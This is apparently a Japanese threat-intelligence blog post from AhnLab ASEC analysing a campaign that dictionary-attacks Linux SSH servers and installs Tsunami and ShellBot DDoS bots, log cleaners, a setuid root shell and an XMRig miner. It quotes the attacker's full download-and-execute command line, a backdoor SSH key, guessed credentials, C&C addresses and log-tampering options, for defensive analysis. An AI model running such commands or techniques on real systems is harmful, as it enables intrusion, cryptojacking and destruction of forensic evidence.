Linux SSH サーバーを対象として拡散している Tsunami DDoS マルウェア

AhnLab Security Emergency response Center (ASEC)では最近、不適切に管理されている Linux SSH サーバーを対象に Tsunami DDoS Bot をインストールしている攻撃キャンペーンを確認した。攻撃者は Tsunami のほかにも ShellBot、XMRig コインマイナー、Log Cleaner 等、様々なマルウェアをインストールしている。

不適切に管理されている Linux SSH サーバーを対象とする攻撃事例を見ると、DDoS Bot やコインマイナーマルウェアをインストールする事例が大半を占めている。DDoS Bot の場合、過去の ASEC ブログで ShellBot [1]、ChinaZ DDoS Bot [2]マルウェアをインストールする攻撃事例を紹介したことがある。また、XMRig コインマイナーをインストールする攻撃事例は SHC マルウェア[3]攻撃事例や KONO DIO DA 攻撃キャンペーンにおいて[4]共に紹介したことがある。

Tsunami は Kaiten とも呼ばれる DDoS Bot であり、一般的に脆弱な IoT 装置を対象に Mirai および Gafgyt と共に拡散が続いているマルウェアの一つである。[5] すべて DDoS Bot という共通点があるが、Tsunami は他のものとは異なり IRC を利用して攻撃者と通信する形式の IRC Bot であるという点が特徴である。

Tsunami はソースコードが公開されており、様々な攻撃者たちによって使用されているが、最も多い割合を占めているのは IoT 装置に対する攻撃におけるものである。無論、それ以外にも Linux サーバーを対象とする攻撃にも使用され続けており、公開された Docker コンテナに XMRig コインマイナーと共に Tsunami マルウェアが含まれて配布される事例のように、クラウド環境を対象としても配布が行われた事例が確認されている。参考に、非公式に配布される Docker コンテナにマルウェアを含ませて配布する形式は、代表的な攻撃ベクトルの一つである。

ここでは、攻撃者が不適切に管理されている SSH サーバーを対象として辞書攻撃を強行してログインしたあと、DDoS Bot および XMRig コインマイナーマルウェアをインストールした事例をまとめていく。

1. Linux SSH サーバーを対象とする辞書攻撃

Linux サーバーのようなサーバー環境を対象とする攻撃ベクトルとしては、不適切に管理されているサービスが代表的である。Secure Shell(SSH)サービスは大半の Linux サーバー環境にインストールされており、簡単に攻撃に使用でき、かつ不適切に管理されやすいサービスである。SSH は管理者がリモートでログインしてシステムを操作できるようにするが、このためにはシステムに登録されているユーザーアカウントにログインする必要がある。

もし Linux システムに単純な形態のアカウント情報、すなわち ID / PW が使用されている場合、攻撃者は総当たり攻撃や辞書攻撃を通じてそのシステムにログインし、悪意のあるコマンドを実行することができる。実際に不適切に管理されている Linux SSH サーバーを対象とする攻撃において主に使用される方法は、ポートスキャンを通じて外部に公開された SSH サーバーを探し、既知のアカウント情報を利用することで辞書攻撃を実行してログインした後、マルウェアをダウンロードしてインストールするという方法である。

以下の表では、この攻撃キャンペーンに使用された攻撃元のアドレスと ID / PW リストの一部をまとめている。

ID Password 攻撃アドレス
admin qwe123Q# 124.160.40[.]48
sxit sxit 124.160.40[.]94
root abcdefghi 124.160.40[.]94
root 123@abc 124.160.40[.]94
weblogic 123 124.160.40[.]94
rpcuser rpcuser 124.160.40[.]94
test p@ssw0rd 124.160.40[.]94
nologin nologin 124.160.40[.]94
Hadoop p@ssw0rd 124.160.40[.]94
hxw test123 124.160.40[.]94
backlog backlog 124.160.40[.]94
dell 123 124.160.40[.]94
Table 1. 攻撃キャンペーンに使用された攻撃アドレスおよびアカウント情報

2. 攻撃フロー

ログインに成功したあと、攻撃者は以下のようなコマンドを実行して様々なマルウェアをダウンロードし、実行する。

# nvidia-smi –list-gpus | grep 0 | cut -f2 -d: | uniq -c;nproc;ip a | grep glo;uname -a;cd /tmp;wget -O – ddoser[.]org/key|bash;cd /var/tmp;wget ddoser[.]org/a;chmod +x a;./a;wget ddoser[.]org/logo;perl logo irc.undernet.org 6667 -bash;rm -rf logo;wget ddoser[.]org/top;tar -zxvf top;rm -rf top;cd lib32;./go > /dev/null 2>&1 &

インストールされるマルウェアのうち「key」ファイルは追加でマルウェアをインストールするダウンローダータイプの Bash スクリプトである。ダウンロード以外にも、感染システムを制御するために様々な事前タスクを遂行し、SSH バックドアアカウントをインストールする機能も含まれている。

Figure 1. key Bash スクリプト

SSH リモートサーバーにログインする方法には、ID / PW を入力する方法以外にも、公開鍵 / 秘密鍵を生成して ID / PW を入力せずにログインする方法がある。これにより、ユーザーは SSH 公開鍵 / 秘密鍵を生成した後、接続対象サーバーに公開鍵を登録すると、クライアントで秘密鍵を利用して接続できる。攻撃者はこのコマンドを利用して、新たに次のような公開鍵を「authorized_keys」ファイルに書き込む。これにより、その後その公開鍵に対応する秘密鍵を利用して感染システムにログインすることができる。

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9hVz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqoAoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD

ログイン後、実行したコマンドとダウンローダー Bash スクリプトによってインストールされるマルウェアをまとめると、次の通りである。以下では、各マルウェアのタイプ別に解析した内容を取りまとめる。

ダウンロードアドレス マルウェア
ddoser[.]org/key Downloader Bash
ddoser[.]org/logo ShellBot DDoS Bot
ddoser[.]org/siwen/bot ShellBot DDoS Bot
ddoser[.]org/siwen/a Tsunami DDoS Bot
ddoser[.]org/siwen/cls MIG Logcleaner v2.0
ddoser[.]org/siwen/clean 0x333shadow Log Cleaner
ddoser[.]org/siwen/ping6 権限昇格マルウェア
ddoser[.]org/top XMRig CoinMiner (圧縮ファイル)
Table 2. 攻撃に使用されたマルウェアのリスト

3. マルウェア解析

3.1. Tsunami

Tsunami は Kaiten とも呼ばれる DDoS Bot マルウェアであり、ソースコードが公開されているため、様々な攻撃者たちによって使用されている。攻撃者は従来の kaiten のソースコードを編集してより多くの機能を追加する場合もあるが、攻撃に使用された Tsunami は Ziggy と名付けられた Kaiten の変種の一つである。実際に help コマンドで表示される説明を比較してみると、ソースコードが同じである。

Figure 2. Ziggy ソースコードとの比較

Tsunami のバイナリに含まれている設定データを確認すると、攻撃者が「ddoser – v0.69」という名前をつけたことがわかる。

Figure 3. Tsunami のバージョン情報

Tsunami の特徴を一つ挙げるとすれば、C&C サーバーとの通信に IRC プロトコルを利用するという点である。IRC は1988年に開発された、リアルタイムインターネットチャットプロトコルである。ユーザーは、特定の IRC サーバーの特定チャンネルに接続し、同じチャンネルに接続した他のユーザーとリアルタイムでチャットを行うことができる。IRC Bot は、このような IRC を悪用して C&C サーバーとの通信に使用するボット型マルウェアである。

感染先のシステムにインストールされた IRC ボットは、IRC プロトコルによって攻撃者が指定した IRC サーバーのチャンネルに接続し、その後窃取した情報を当該チャンネルに流したり、攻撃者が特定の文字列を入力するとそれをコマンドとして受け取り、それに応じた不正な振る舞いを実行することができる。追加の C&C サーバーおよびプロトコルを開発する必要なしに、すでに存在する IRC プロトコルを利用し、既存の IRC サーバーを活用できるという点から、IRC は以前からマルウェアによって利用され続けてきた。

Tunami は実行されると「/etc/rc.local」ファイルに自身のパスを書き込んで、再起動後も実行されるようにする。その後、現在実行中のプロセス名を「[kworker/0:0]」に変更しようと試みるが、これは正常なプロセスと類似した名前であることにより、ユーザーの認知を困難にするための目的である。ここまでのプロセスが完了すると IRC サーバーに接続してチャンネルに入場し、攻撃者のコマンドを待機する。

C&C サーバーのアドレスやチャンネルのパスワード等の情報は暗号化により保存されている。Tsunami は実行中、必要な文字列を復号化して取得する。C&C サーバーのアドレスは2つであり、ランダムに選択されて接続を試みる。

Figure 4. C&C サーバーアドレスを取得するプロセス

C&C サーバーアドレスを含む様々な設定データをまとめると、次の通りである。IRC サーバーに入場するときに使用するニックネーム(Nick)はランダムな文字列が使用される。

設定 データ
バージョン ddoser – v0.69
アーキテクチャ x86_64
偽装名 [kworker/0:0]
C&C サーバー (IRC) ircx.us[.]to:53
ircxx.us[.]to:53
IRC チャンネル名 ddoser
IRC チャンネルのパスワード (enc_passwd) bakla
有効化/無効化パスワード null
ダウンロード目的のデフォルト HTTP サーバーアドレス localhost (無効化)
Table 3. Tsunami の設定データ
Figure 5. IRC サーバーにログインするプロセス

Tsunami は基本的な IRC コマンドのほかに、様々な DDoS 攻撃コマンドをサポートしている。また、システム情報の収集やコマンドの実行、リバースシェルのような感染システムを制御できる機能も提供する。

カテゴリー コマンド 機能
遠隔操作 SYSINFO システム情報
(CPU、メモリ、ネットワーク情報、OS バージョン、ログインユーザー、 Uptime.)
GET 外部からファイルをダウンロード
UPDATE BOT アップデート
ENABLE / DISABLE BOT の有効化/無効化(パスワードが必要)
SH / ISH / SHD / BASH シェルコマンドの実行
RSHELL リバースシェル
KILL 終了
DDoS 공격 PAN / SYNFLOOD / NSSYNFLOOD SYN Flood
ACKFLOOD / NSACKFLOOD Ack Flood
RANDOMFLOOD Syn/Ack Flooder
UDP UDP Flood
UNKNOWN Non-spoof UDP Flood
SPOOFS DDoS 攻撃時のアドレス偽装
GETSPOOFS DDoS 攻撃時に使用する偽装アドレスの返却
KILLALL 攻撃終了
Table 4. サポートする主なコマンドのリスト

3.2. ShellBot

初期実行コマンドと Bash ダウンローダー「key」によってインストールされた「bot」と「logo」は、実質的に同じ ShellBot マルウェアである。ShellBot は Perl で開発された DDoS Bot であり、Tsunami と同じく IRC プロトコルを使用する IRC Bot でもある。過去、ASEC では不適切に管理されている Linux SSH サーバーを対象とする攻撃に使用されている ShellBot マルウェアを分類および解析し、ブログに掲載したことがある。[6] 現在攻撃に使用されている ShellBot は、過去のブログで取り上げたタイプと同一ではないが、実質的に類似した ShellBot 変種の一つである。

攻撃に使用された ShellBot は、すべて C&C サーバーアドレスとポート番号を引数で受け取り動作する形式である。以下は、攻撃に使用された C&C サーバーアドレスのリストである。

ShellBot IRC サーバーアドレス
logo irc.undernet[.]org:6667
bot ircx.us[.]to:6667
bot irc.dal[.]net:6667
bot irc.undernet[.]org:6667
bot ircx.us[.]to:20
Table 5. ShellBot の IRC サーバーアドレスのリスト

他の ShellBot と同様、ニックネームは保有しているリストから一つを選択して使用し、チャンネルからコマンドを受け取るために、チャンネルに入場した管理者、すなわち攻撃者のニックネームとホストアドレスを検証する。IRC チャンネルの名前は Tsunami マルウェアと同じく「#ddoser」が使われている。

Figure 6. ShellBot の設定データ
ShellBot 設定 データ
同一 チャンネル名 ddoser, #packeter
同一 チャンネルのパスワード s6x
同一 ニックネーム 多数
bot チャンネル管理者のニックネーム “Janroe”,”thief”,”eXploiter”,”Bolero”,”Janr0e”,”nobody”
logo チャンネル管理者のニックネーム “Janroe”,”thief”,”eXploiter”,”emperor”,”nobody”
bot チャンネル管理者のホスト “exploiter.users.undernet[.]org”,
“Janroe.users.undernet[.]org”,
“ddoser.users.undernet[.]org”,
“ddoser[.]de”,”ddoser[.]org”
logo チャンネル管理者のホスト “exploiter.users.undernet[.]org”,
“theft.users.undernet[.]org”,
“Janroe.users.undernet[.]org”,
“ddoser[.]org”,”ddoser[.]de”
Table 6. ShellBot の設定データ

ShellBot は、ポートスキャンと基本的な DDoS 攻撃、そしてリバースシェルコマンドをサポートしている。

コマンド 機能
portscan ポートスキャン
udpflood UDP Flood
tcpflood TCP Flood
httpflood HTTP Flood
back リバースシェル
Table 7. サポートする主なコマンドのリスト

3.3. Log Cleaner

攻撃者がインストールしたマルウェアの中には、Log Cleaner が存在する。Linux サーバー環境には、ユーザーまたは攻撃者の振る舞いを記録するログファイルが種類別に存在する。Log Cleaner はこれらのログファイルを対象に特定のログを削除する、または編集できる機能を持つツールである。攻撃者は、後の侵害事例の解析時にこれを妨害するための目的で使用するため、Log Cleaner をインストールしたものと推定される。

インストールされたファイルのうち「cls」は「MIG Logcleaner v2.0」であり、「clean」は「0x333shadow Log Cleaner」である。まず、MIG LogCleaner は以下のように様々なオプションを引数として受け取り、Linux、Unix、BSD システムから任意のログを削除することができる。

Figure 7. MIG LogCleaner の使用方法
引数 説明
[-u <user>] ユーザー名
[-n <n>] 削除するエントリの個数。デフォルトは1個であり、0の場合は全体。
[-D <dir>] 基準ログのディレクトリ(デフォルトは /var/log/)
[-a <string1>] ログディレクトリ内のファイルから削除する IP の文字列
[-b <string2>] ログディレクトリ内のファイルから削除するドメインの文字列
[-R] 代替モード。
[-A] 追加モード。
[-U <user>] 代替および追加モードで変更または追加するユーザー名。
[-H <host>] 代替および追加モードで変更または追加するホスト名。
[-I <n>] 代替および追加モードで変更または追加するログイン時間。
[-O <n>] 代替および追加モードで変更または追加するログアウト時間。
[-T <tty>] 追加モードで追加する tty。
[-d] デバッグモードで実行
Table 8. MIG LogCleaner の使用方法

Linux 環境でログインしたユーザーに関連するログファイルは以下の通りであり、攻撃者はこれらのログファイルを操作してログイン記録を削除または変更できる。

位置 内容 コマンド
utmp /var/run/utmp (Linux)
/var/adm/utmpx (Solaris)
現在ログインしているユーザーの情報 w, who, finger
wtmp /var/log/wtmp (Linux)
/var/adm/wtmpx (Solaris)
ログイン/ログアウト情報 last
last log /var/log/lastlog (Linux)
/var/adm/lastlog (Solaris)
最後に成功したログインの情報 lastlog (Linux)
finger (Solaris)
Table 9. Linux 環境のログ種類

MIG LogCleaner を利用すると、様々なログファイルを操作することが可能になる。例えば、特定の文字列が含まれたラインを削除したり文字列を置換したりすることができ、新たに文字列を追加することもできる。例として、以下のようなコマンドを利用してログイン記録を追加することができる。

Figure 8. MIG LogCleaner を利用した、ユーザーログイン記録の追加

同時にインストールされた「0x333shadow Log Cleaner」も、実質的に同じ機能を遂行する。

Figure 9. 0x333shadow Log Cleaner の使用方法

3.4. 権限昇格マルウェア

「ping6」ファイルは、以下のように非常にシンプルな形態の ELF マルウェアである。setuid() 関数と setgid() 関数を利用してユーザー ID やグループ ID を root アカウントとして設定し、シェルを実行する。

Figure 10. ping6 のルーティン

「key」Bash スクリプトは「ping6」をインストールしたあと、setuid を設定する。root アカウントでのログインに成功し、このとき「key」Bash スクリプトが root アカウントでインストールされた場合、攻撃者は以後「ping6」を利用して root 権限のシェルを使用できるようになる。

Figure 11. ping6 ファイルに setuid を設定するルーティン

3.5. XMRig コインマイナー

この攻撃キャンペーンでは DDoS Bot のほかに、コインマイナーマルウェアも同時にインストールされる。辞書攻撃によるログイン後に実行されたコマンドでは、tar 圧縮ファイルをダウンロードして解凍し、内部に存在する「go」ファイルを実行していた。「go」は簡単な Bash スクリプトであり、同一パス上に位置する「televizor」ファイルを実行する。「televizor」も同じく Bash スクリプトであり、さらに「telecomanda」Bash スクリプトを実行し、最終的に XMRig コインマイナーである「cnrig」が実行される。

Figure 12. XMRig の実行フロー

コインマイニングに必要な設定データは、同一パス上に存在する「config.json」ファイルが所有している。

  • Mining Pool : monerohash[.]com:80
  • user : “46WyHX3L85SAp3oKu1im7EgaVGBsWYhf7KxrebESVE6QHA5vJRab6wF1gsVkYwJfnNV2KYHU1Xq2A9XUYmWhvzPf2E6Nvse”
  • pass : “nobody”

4. 結論

不適切に管理されている Linux SSH サーバーを対象とする攻撃は、以前から行われ続けている。攻撃者は、感染システムに Tsunami、ShellBot のような DDoS Bot と共に XMRig コインマイナーをインストールしていた。

コインマイナーがインストールされた環境では、システムのリソースを利用して攻撃者のモネロコインをマイニングする。このほかにも同時にインストールされた DDoS Bot を利用して DDoS 攻撃にも活用される場合があり、さらなる不正なコマンドを実行されるおそれがある。これらのマルウェアが削除されたとしても、攻撃者は同時にインストールした SSH バックドアアカウントを利用して再度ログインし、別のマルウェアをインストールしたり、システム内の情報を窃取する等、様々な不正な振る舞いを実行することができる。

そのため、管理者はアカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃から Linux サーバーを保護しなければならず、セキュリティパッチを最新にして脆弱性攻撃を防止しなければならない。また、外部に開放されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。

ファイル検知
– Linux/CoinMiner.Gen2 (2019.07.31.08)
– Linux/Tsunami.Gen (2016.08.24.00)
– Shellbot/Perl.Generic.S1118 (2020.02.19.07)
– Downloader/Shell.Agent.SC189601 (2023.06.12.02)
– HackTool/Linux.LogWiper.22272 (2023.06.12.02)
– HackTool/Linux.LogWiper.28728 (2023.06.12.02)
– Trojan/Linux.Agent.8456 (2023.06.12.02)
– Trojan/Shell.Runner (2023.06.12.02)
– CoinMiner/Text.Config (2023.06.12.02)

IOC
MD5
– 6187ec1eee4b0fb381dd27f30dd352c9 : ダウンローダー Bash スクリプト(key)
– 822b6f619e642cc76881ae90fb1f8e8e : Tsunami (a)
– c5142b41947f5d1853785020d9350de4 : ShellBot (bot)
– 2cd8157ba0171ca5d8b50499f4440d96 : ShellBot (logo)
– 32eb33cdfa763b012cd8bcad97d560f0 : MIG Logcleaner v2.0 (cls)
– 98b8cd5ccd6f7177007976aeb675ec38 : 0x333shadow Log Cleaner (clean)
– e2f08f163d81f79c1f94bd34b22d3191 : 権限昇格マルウェア(ping6)
– 725ac5754b123923490c79191fdf4f76:Bash ランチャー(go)
– ad04aab3e732ce5220db0b0fc9bc8a19:Bash ランチャー(televizor)
– 421ffee8a223210b2c8f2384ee6a88b4:Bash ランチャー(telecomanda)
– 0014403121eeaebaeede796e4b6e5dbe:XMRig コインマイナー(cnrig)
– 125951260a0cb473ce9b7acc406e83e1:XMRig 設定ファイル (config.json)

C&C
– ircx.us[.]to:20 : ShellBot
– ircx.us[.]to:53 : Tsunami
– ircx.us[.]to:6667 : ShellBot
– ircxx.us[.]to:53 : Tsunami

ダウンロードアドレス
– ddoser[.]org/key:ダウンローダー Bash スクリプト
– ddoser[.]org/a : Tsunami
– ddoser[.]org/logo : ShellBot
– ddoser[.]o]rg/siwen/bot / ShellBot DDoS Bot
– ddoser[.]org/top : XMRig コインマイナー圧縮ファイル
– ddoser[.]org/siwen/cls : MIG Logcleaner v2.0
– ddoser[.]org/siwen/clean : 0x333shadow Log Cleaner
– ddoser[.]org/siwen/ping6 : 権限昇格マルウェア

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

Categories:マルウェアの情報

Tagged as:

5 1 vote
評価する
Subscribe
Notify of
guest

0 コメント
Inline Feedbacks
View all comments